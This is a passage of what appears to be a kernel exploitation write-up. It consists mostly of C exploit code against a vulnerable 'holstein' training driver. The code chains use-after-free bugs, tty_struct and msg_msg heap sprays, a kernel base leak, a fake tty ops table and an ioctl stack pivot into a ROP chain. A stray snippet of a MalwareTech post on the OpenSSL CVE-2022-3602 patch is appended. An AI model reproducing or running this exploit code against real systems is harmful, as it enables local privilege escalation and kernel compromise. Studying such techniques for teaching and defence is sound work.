int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
} */
// Populate the 12 function pointers in the table that we have created.
// There are 3 handlers that are invoked for allocated tty_structs when
// their controlling process exits, they are close(), shutdown(),
// and cleanup(). We have to overwrite these pointers for when we exit our
// exploit process or else the kernel will panic with a RIP of
// 0xdeadbeefdeadbeef. We overwrite them with a simple ret gadget
uint64_t *func_table = (uint64_t *)&msg.mtext[rop_len];
for (size_t i = 0; i < 12; i++) {
// If i == 4, we're on the close() handler, set to ret gadget
if (i == 4) { *func_table++ = ret; continue; }
// If i == 5, we're on the shutdown() handler, set to ret gadget
if (i == 5) { *func_table++ = ret; continue; }
// If i == 6, we're on the cleanup() handler, set to ret gadget
if (i == 6) { *func_table++ = ret; continue; }
// Magic value for debugging
*func_table++ = 0xdeadbeefdeadbe00 + i;
}
// Put our gadget address as the ioctl() handler to pivot stack
*func_table = push_rdx;
// Spray msg_msg's on the heap
if (msgsnd(curr_q, &msg, MSG_SZ, IPC_NOWAIT) == -1) {
fails++;
}
return fails;
}
// Check to see if we have a reference to one of our msg_msg structs
bool found_msg(int fd) {
// Read out the msg_msg
unsigned char msg_buf[GBUF_SZ] = { 0 };
ssize_t bytes_read = read(fd, msg_buf, GBUF_SZ);
if (bytes_read != (ssize_t)GBUF_SZ) {
err("Failed to read from holstein");
}
/* msg_msg {
struct list_head m_list {
struct list_head *next, *prev;
} // 16 bytes
long m_type; // 8 bytes
int m_ts; // 4 bytes
struct msg_msgseg* next; // 8 bytes
void *security; // 8 bytes
===== Body Starts Here (offset 48) =====
}*/
// Some heuristics to see if we indeed have a good msg_msg
uint64_t next = *(uint64_t *)&msg_buf[0];
uint64_t prev = *(uint64_t *)&msg_buf[sizeof(uint64_t)];
int64_t m_type = *(uint64_t *)&msg_buf[sizeof(uint64_t) * 2];
// Not one of our msg_msg structs
if (m_type != 0x1337L) {
return false;
}
// We have to have valid pointers
if (next == 0 || prev == 0) {
return false;
}
// I think the pointers should be different as well
if (next == prev) {
return false;
}
info("Found msg_msg struct:");
printf(" >> msg_msg.m_list.next: 0x%lx\n", next);
printf(" >> msg_msg.m_list.prev: 0x%lx\n", prev);
printf(" >> msg_msg.m_type: 0x%lx\n", m_type);
// Update rop address
rop_addr = 48 + next;
return true;
}
void overwrite_ops(int fd) {
unsigned char g_buf[GBUF_SZ] = { 0 };
ssize_t bytes_read = read(fd, g_buf, GBUF_SZ);
if (bytes_read != (ssize_t)GBUF_SZ) {
err("Failed to read enough bytes from fd: %d", fd);
}
// Overwrite the tty_struct->ops pointer with ROP address
*(uint64_t *)&g_buf[24] = fake_table;
ssize_t bytes_written = write(fd, g_buf, GBUF_SZ);
if (bytes_written != (ssize_t)GBUF_SZ) {
err("Failed to write enough bytes to fd: %d", fd);
}
}
int main(int argc, char *argv[]) {
int fd1;
int fd2;
int fd3;
int fd4;
int fd5;
int fd6;
info("Saving user space state...");
save_state();
info("Freeing fd1...");
fd1 = open_device(DEV, O_RDWR);
fd2 = open(DEV, O_RDWR);
close(fd1);
// Allocate '/dev/ptmx' structs until we allocate one in our free'd slab
info("Spraying tty_structs...");
size_t p_remain = PTMX_SPRAY;
while (p_remain--) {
alloc_ptmx();
printf(" >> tty_struct(s) alloc'd: %lu\n", PTMX_SPRAY - p_remain);
// Check to see if we found one of our tty_structs
if (found_ptmx(fd2)) {
break;
}
if (p_remain == 0) { err("Failed to find tty_struct"); }
}
info("Leaking tty_struct->ops...");
base = leak_ops(fd2);
info("Kernel base: 0x%lx", base);
// Clean up open fds
info("Cleaning up our tty_structs...");
for (size_t i = 0; i < num_ptmx; i++) {
close(open_ptmx[i]);
open_ptmx[i] = 0;
}
num_ptmx = 0;
// Solve the gadget addresses now that we have base
info("Solving gadget addresses");
solve_gadgets();
// Create a hole for a msg_msg
info("Freeing fd3...");
fd3 = open_device(DEV, O_RDWR);
fd4 = open_device(DEV, O_RDWR);
close(fd3);
// Allocate msg_msg structs until we allocate one in our free'd slab
size_t q_remain = NUM_QUEUE;
size_t fails = 0;
while (q_remain--) {
// Initialize a message queue for spraying msg_msg structs
init_msg_q();
printf(" >> msg_msg queue(s) initialized: %lu\n",
NUM_QUEUE - q_remain);
// Spray messages for this queue
for (size_t i = 0; i < MSG_SPRAY; i++) {
fails += send_message();
}
// Check to see if we found a msg_msg struct
if (found_msg(fd4)) {
break;
}
if (q_remain == 0) { err("Failed to find msg_msg struct"); }
}
// Solve our ROP chain address
info("`msgsnd()` failures: %lu", fails);
info("ROP chain address: 0x%lx", rop_addr);
fake_table = rop_addr + rop_len;
info("Fake tty_struct->ops function table: 0x%lx", fake_table);
ioctl_ptr = fake_table + ioctl_off;
info("Fake ioctl() handler: 0x%lx", ioctl_ptr);
// Do a 3rd UAF
info("Freeing fd5...");
fd5 = open_device(DEV, O_RDWR);
fd6 = open_device(DEV, O_RDWR);
close(fd5);
// Spray more /dev/ptmx terminals
info("Spraying tty_structs...");
p_remain = PTMX_SPRAY;
while(p_remain--) {
alloc_ptmx();
printf(" >> tty_struct(s) alloc'd: %lu\n", PTMX_SPRAY - p_remain);
// Check to see if we found a tty_struct
if (found_ptmx(fd6)) {
break;
}
if (p_remain == 0) { err("Failed to find tty_struct"); }
}
info("Found new tty_struct");
info("Overwriting tty_struct->ops pointer with fake table...");
overwrite_ops(fd6);
info("Overwrote tty_struct->ops");
// Spam IOCTL on all of our '/dev/ptmx' fds
info("Spamming `ioctl()`...");
for (size_t i = 0; i < num_ptmx; i++) {
ioctl(open_ptmx[i], 0xcafebabe, rop_addr - 8); // pop rbp; ret;
}
return 0;
}
- MalwareTech
- Everything you need to know about the OpenSSL 3.0.7 Patch (CVE-2022-3602 & CVE-2022-3786)
Everything you need to know about the OpenSSL 3.0.7 Patch (CVE-2022-3602 & CVE-2022-3786)
Discussion thread: https://updatedsecurity.com/topic/9-openssl-vulnerability-cve-2022-3602-cve-2022-3786/ Vulnerability Details From https://www.openssl.org/news/secadv/20221101.txt X.509 Email Address 4-byte Buffer Overflow (CVE-2022-3602) ========================================================== Severity: High A buffer overrun can be triggered in X.509
The post Everything you need to know about the OpenSSL 3.0.7 Patch (CVE-2022-3602 & CVE-2022-3786) appeared first on MalwareTech.